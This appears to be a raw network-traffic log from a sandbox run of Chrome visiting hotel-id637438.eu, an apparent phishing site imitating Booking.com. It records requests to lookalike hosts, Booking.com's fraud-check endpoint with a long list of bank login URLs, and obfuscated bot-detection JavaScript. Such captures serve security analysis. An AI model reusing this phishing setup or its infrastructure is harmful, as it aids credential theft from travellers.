2024-07-08 22:43:34 UTC	5136	OUT	GET /kfj_HSpClPoaRXOB?3f68e8ca5647247c=t3YXudD0XqOz7itbQBpxJ8lZ0o5bvZO9VQfUJXNETzQmfpGfUxEgLXYJDoy_qMZrtdxOpyEgzE1dgEY5vcvXRLfSWw-cC46n0ENUOlBww0-QzB_g3S3YTN2MCAWkg_xlCxI3PhC4PCh9gYOjq533EDy6umQHieI3BRmCfUeRXjMXS3Mfses1gPamiBelS99Kh2RL6TmYyDWBQr0gCojIwHtGU7Q&sera_parametere=XxQFAQQGAlYDVQIEVQNdAAwHWQEAAAFRBlNTAgcABlgPXAxWV1QFAw9dVRNCFllQVxRNEUATBSYSUiEQBiFBCwkOSwBfU1sHWREQEAIhQQ57VB1SdxMEUl8KEEFCQFd9HFN6QARyEAZeWFYNA1VXC11WXFIBUlVRUwRTAFBXUQkAU1tcC1QGUlMDAFMAXF1fC1QeC1xYVQcKXAcNVFZSD1tTXQYGB1MGDkMJRgxVHFsIBlwGVwRSVQZWVQAJAFMODQINUFFQAFcCVgFWUlFWDg0ADQNSDlREVgxeBANWUgkfDVFYHgcQEl5YWgwIXFwfUQ8FQ1ELdQpFCg5QFwcSBAhVD0NRWUVfYAwNUV4SFx9aBgURV0xpAVYJD1dQBg8fXBAFUAI%3D&count=0&max=0 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/Capi [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	420	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:34 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:34 UTC	41	IN	Data Raw: 32 33 0d 0a 74 64 5f 33 42 28 2d 31 2c 20 22 61 75 74 68 65 6e 74 69 63 20 73 69 74 65 22 2c 20 66 61 6c 73 65 29 3b 0d 0a Data Ascii: 23td_3B(-1, "authentic site", false);
2024-07-08 22:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49822	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	603	OUT	GET /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://hotel-id637438.eu Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	547	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:34 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: Raphael=Y2Nraw9Z6xBb-0lMlEJxqGL2yssDTaV3NQYDC5S9U4juLa1P6XCo5CNh0aLUlEf4FIs46ALQXTnJF9tNcfc_SkhrHsy0GGFO9lDnhLq1hb5keMiR; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: https://hotel-id637438.eu Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-07-08 22:43:34 UTC	134	IN	Data Raw: 37 62 0d 0a 7b 22 6a 38 38 22 3a 22 5a 6d 5a 71 61 72 6c 74 62 64 59 70 69 30 33 38 6e 78 31 64 71 66 6f 44 4a 57 52 43 77 63 72 63 4e 4e 48 78 5a 33 6c 57 46 38 58 4a 67 62 63 53 45 33 6c 53 43 65 41 31 45 48 44 32 6a 69 56 58 4a 66 54 79 77 47 35 78 39 6b 6d 62 39 33 58 56 5a 55 39 4b 58 52 49 4b 36 6c 77 58 4e 57 35 66 6e 62 6c 4a 31 45 45 30 59 59 71 33 2d 46 39 34 22 7d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b{"j88":"ZmZqarltbdYpi038nx1dqfoDJWRCwcrcNNHxZ3lWF8XJgbcSE3lSCeA1EHD2jiVXJfTywG5x9kmb93XVZU9KXRIK6lwXNW5fnblJ1EE0YYq3-F94"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49824	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	683	OUT	GET /static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:35 UTC	573	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Jul 2024 22:43:34 GMT Content-Type: application/json Content-Length: 22 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2iESXZqXtPVbTqOGSoHNf6mqKJthtCvOBtXhNGsBVze%2FhV%2FIaxL91E0Du13gFRycVtzeTlcIm0tAKJeUgL%2Bg%2F6JVxJ4uzYXaQmm8RLB51l8KN348sSwL0hHTOxiwVXNiiFL9eA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a03980ea902c477-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:35 UTC	22	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"detail":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49823	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	1117	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=3936382670643d267a64743f343b3331332f393530382c3d3b32302f393732322c353b38392d313532302c353130322f333d30322c3731303325313d32322c313b3a3b2f3135323824353935322d313538302c373b3b312f313738302c3d393b3b2f313738322e3430333b25393530302e3539343c2d313732382c343036382d313d30382e373931302f333730302e3d3a37392d333530302437303532253137303224323139322533373032 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:35 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:35 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49825	18.66.196.21	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	597	OUT	GET /static/img/favicon.svg HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:35 UTC	797	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1197 Connection: close Server: nginx Date: Sun, 16 Jun 2024 18:59:55 GMT Last-Modified: Tue, 21 Mar 2023 13:15:52 GMT Expires: Tue, 16 Jul 2024 18:59:55 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae08-4ad" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 25c0ae8b5b888081618bca2ea4f27faa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: X0Wuo_r1BGsE96OZPQkWZJetBiYotCBHEydWzqw52hUPYfptnsSfZg== Age: 1914220
2024-07-08 22:43:35 UTC	1197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 4c 6f 76 69 6e 67 6c 79 20 65 78 70 6f 72 74 65 64 20 62 79 20 4a 65 73 73 20 53 74 75 62 65 6e 62 6f 72 64 20 66 6f 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 69 6e 20 41 6d 73 74 65 72 64 61 6d 20 31 36 2d 30 33 2d 32 30 32 33 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 62 64 6f 74 2d 66 61 76 69 63 6f 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 --><svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49826	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	345	OUT	GET /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:35 UTC	331	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:35 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type
2024-07-08 22:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49831	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	1673	OUT	GET /jJlrV818ojuA0p9M?aad8a26cd83dfe6e=2iDzHmDdpyqXuvKWGAo1ew9auGxemYC3SmKgGcE6fHfQvH4CpPmjV_pLnp-zNMpYtROaqUpQgxjcZalY6Zxr6syWW8oPk_2LWqqkhK1ll_NnR3d8IFtufm0cmDJKIyYg9MGZx-aJ2naOV7BhLePRmpbynHfiyuLX1QAJ_5LimVmwJqKt1DgwAbxGA7ypaShm10rnGvKaH4ANUalSgbo&jf=3c3136267169645f7a6e643f766c725d674049706b61775d7b4f4c5770433a4f26736b6c57646174673d31373a3034353a3e3133267161645f7c7978673f77676a3867616473632e7b69645f6965793d3b30353b31383131303438373269383e363a63673b6632303031323e383832613a3634386b653366323b303330353833343a3038323662363c6134343732353c6965653232326362386239613b313264636769393239663f6667306339363b333332646b39636564353665303e66363b6038363332613b373038363e636039376d3330663763606e3c393262646530346e393263616c383239323933656d626c3a67333169303a613661603f6d35356335316437393526716b6c5f7169653533303c353830303132386730663064366e6a633030376233336c65343a663f326439603b63346d643b3a6735643a3335353932616a6b386631333062306c6466633a31386432603b626438323a323433316c6464673063356e69613764666532633d6162363a3c623039376b653038363864 [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	364	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:35 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/png;charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49828	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	350	OUT	GET /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	523	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: Raphael=Y2Nra1-1nwiCj0XBlbYeENIBIOAh__7ThtlhUjwWX2atdLi7LTba03aOFpXpn0pIE-7cSlYQlyqYM5iWa5ZM2RzHvThuuDQYbYJ1wUwolJH4ydxi; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-07-08 22:43:36 UTC	134	IN	Data Raw: 37 62 0d 0a 7b 22 6a 38 38 22 3a 22 5a 6d 5a 71 61 76 62 4a 44 56 55 48 52 55 35 47 6c 6d 31 4d 68 7a 31 35 7a 70 39 70 4e 52 46 75 2d 70 72 32 34 4a 5f 70 72 55 49 52 39 35 43 7a 49 64 65 51 47 68 46 51 61 67 7a 33 30 4f 36 68 2d 4c 6b 55 51 52 43 33 49 39 74 31 65 75 42 57 34 32 63 4d 34 75 7a 62 76 49 44 69 35 44 47 54 57 54 39 48 66 45 58 77 77 6b 35 71 78 4d 4a 65 22 7d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b{"j88":"ZmZqavbJDVUHRU5Glm1Mhz15zp9pNRFu-pr24J_prUIR95CzIdeQGhFQagz30O6h-LkUQRC3I9t1euBW42cM4uzbvIDi5DGTWT9HfEXwwk5qxMJe"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49830	18.245.31.18	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	579	OUT	GET /libs/asec/btmgmt/px.v7.5.3.min.js HTTP/1.1 Host: q.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hotel-id637438.eu sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	810	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 275294 Connection: close Server: nginx Date: Wed, 26 Jun 2024 08:38:55 GMT Last-Modified: Fri, 21 Jun 2024 14:35:25 GMT ETag: "66758fad-4335e" Expires: Fri, 26 Jul 2024 08:38:55 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c63140c3859a31aa195816b9d66d1f2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: en0LGxKADMBDnx_IRbjbiQvU2ET-mxXO9MziWAYei2OtFdtXJsogqw== Age: 1087481
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 2f 2f 20 40 6c 69 63 65 6e 73 65 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 34 2d 32 30 32 32 20 50 65 72 69 6d 65 74 65 72 58 2c 20 49 6e 63 20 28 77 77 77 2e 70 65 72 69 6d 65 74 65 72 78 2e 63 6f 6d 29 2e 20 20 43 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 63 6f 70 69 65 64 20 61 6e 64 2f 6f 72 20 64 69 73 74 72 69 62 75 74 65 64 2e 0a 74 72 79 7b 77 69 6e 64 6f 77 2e 5f 70 78 41 70 70 49 64 3d 22 50 58 69 6b 4b 75 4c 32 52 4d 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 3f 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d Data Ascii: // @license Copyright (C) 2014-2022 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed.try{window._pxAppId="PXikKuL2RM",function(){function t(){return window.performance&&window.performance.now?window.perform
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 74 28 22 6f 6e 22 2b 65 2c 72 29 29 7d 63 61 74 63 68 28 74 29 7b 7d 64 65 28 6f 28 22 4e 47 42 62 64 77 52 4c 63 77 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 74 28 74 29 7b 72 65 74 75 72 6e 20 74 3f 74 2e 72 65 70 6c 61 63 65 28 2f 5c 73 7b 32 2c 31 30 30 7d 2f 67 2c 22 20 22 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 72 5c 6e 5c 74 5d 2b 2f 67 2c 22 5c 6e 22 29 3a 22 22 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 74 29 7b 76 61 72 20 65 3d 5b 5d 3b 69 66 28 21 74 29 72 65 74 75 72 6e 20 65 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 72 3d 76 6f 69 64 20 30 2c 6f 3d 6e 75 6c 6c 2c 69 3d 2f 5e 5c 73 2a 61 74 20 28 2e 2a 3f 29 20 3f 5c 28 3f 28 28 3f 3a 66 69 6c 65 3a 5c 2f 5c 2f 7c 68 74 74 70 73 3f 3a 5c 2f 5c 2f 7c 62 6c 6f 62 7c Data Ascii: t("on"+e,r))}catch(t){}de(o("NGBbdwRLcw"))}function Xt(t){return t?t.replace(/\s{2,100}/g," ").replace(/[\r\n\t]+/g,"\n"):""}function Wt(t){var e=[];if(!t)return e;for(var n=t.split("\n"),r=void 0,o=null,i=/^\sat (.?) ?\(?((?:file:\/\/\|https?:\/\/\|blob\|
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 49 63 67 22 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6e 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 29 7d 2c 22 22 29 29 2c 78 65 28 6f 6c 2e 69 29 29 7b 61 65 28 65 28 22 4e 47 42 62 64 67 64 41 63 41 22 29 29 3b 76 61 72 20 72 3d 51 65 28 51 6c 29 3b 74 5b 65 28 22 4e 47 42 62 64 67 31 42 63 41 22 29 5d 3d 72 5b 4c 6c 5d 2c 74 5b 65 28 22 4e 47 42 62 64 67 31 4f 63 67 22 29 5d 3d 21 21 72 5b 5a 6c 5d 2c 74 65 28 74 2c 65 28 22 4e 47 42 62 64 67 4a 49 64 51 22 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 5b 6b 6c 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 79 75 29 2c 4a 6c 29 3b 69 66 28 74 29 72 65 74 75 72 Data Ascii: Icg"),function(){return dn(Object.prototype.hasOwnProperty)},"")),xe(ol.i)){ae(e("NGBbdgdAcA"));var r=Qe(Ql);t[e("NGBbdg1BcA")]=r[Ll],t[e("NGBbdg1Ocg")]=!!r[Zl],te(t,e("NGBbdgJIdQ"),function(){var t=r[kl].call(this,Object.getPrototypeOf(yu),Jl);if(t)retur
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 69 66 28 4d 72 28 29 29 7b 76 61 72 20 69 3d 52 72 28 29 2c 63 3d 69 26 26 69 5b 6f 28 22 4e 47 42 62 64 77 64 4d 22 29 5d 3b 63 26 26 63 28 74 2c 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 54 72 28 74 2c 65 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 6e 2c 63 3d 52 72 28 29 2c 61 3d 63 26 26 63 5b 69 28 22 4e 47 42 64 63 41 41 22 29 5d 3b 61 26 26 61 28 74 2c 65 2c 72 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 72 28 29 7b 72 65 74 75 72 6e 20 54 69 28 29 3d 3d 3d 56 73 7d 66 75 6e 63 74 69 6f 6e 20 52 72 28 29 7b 76 61 72 20 74 3d 55 72 28 29 3b 72 65 74 75 72 6e 20 4e 75 5b 74 5d 7d 66 75 6e 63 74 69 6f 6e 20 50 72 28 29 7b 76 61 72 20 74 3d 6e 2c 65 3d 47 72 28 29 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 74 28 22 4e 47 42 62 64 67 4a 41 65 67 22 29 7c 7c 65 3d 3d Data Ascii: if(Mr()){var i=Rr(),c=i&&i[o("NGBbdwdM")];c&&c(t,e,r)}}function Tr(t,e,r,o){var i=n,c=Rr(),a=c&&c[i("NGBdcAA")];a&&a(t,e,r,o)}function Mr(){return Ti()===Vs}function Rr(){var t=Ur();return Nu[t]}function Pr(){var t=n,e=Gr();return e===t("NGBbdgJAeg")\|\|e==
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 3a 69 7d 3b 63 6f 6e 74 69 6e 75 65 7d 4d 75 3d 3d 3d 28 76 6f 69 64 20 30 3d 3d 3d 61 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 59 62 28 61 29 29 26 26 28 22 62 61 6b 65 22 3d 3d 3d 63 3f 65 2e 75 6e 73 68 69 66 74 28 7b 73 3a 63 2c 75 3a 69 7d 29 3a 65 2e 70 75 73 68 28 7b 73 3a 63 2c 75 3a 69 7d 29 29 7d 7d 6e 26 26 65 2e 75 6e 73 68 69 66 74 28 6e 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 65 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 75 3d 65 5b 64 5d 3b 74 72 79 7b 48 62 5b 75 2e 73 5d 2e 61 70 70 6c 79 28 7b 76 3a 65 7d 2c 75 2e 75 29 7d 63 61 74 63 68 28 74 29 7b 44 6f 28 74 2c 33 29 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 63 28 74 2c 65 29 7b 74 72 79 7b 76 61 72 20 6e 3d 6d 28 74 29 2c 72 3d 6e 26 26 6e 2e 64 6f 3b 69 66 28 72 29 66 Data Ascii: :i};continue}Mu===(void 0===a?"undefined":Yb(a))&&("bake"===c?e.unshift({s:c,u:i}):e.push({s:c,u:i}))}}n&&e.unshift(n);for(var d=0;d<e.length;d++){var u=e[d];try{Hb[u.s].apply({v:e},u.u)}catch(t){Do(t,3)}}}}function gc(t,e){try{var n=m(t),r=n&&n.do;if(r)f
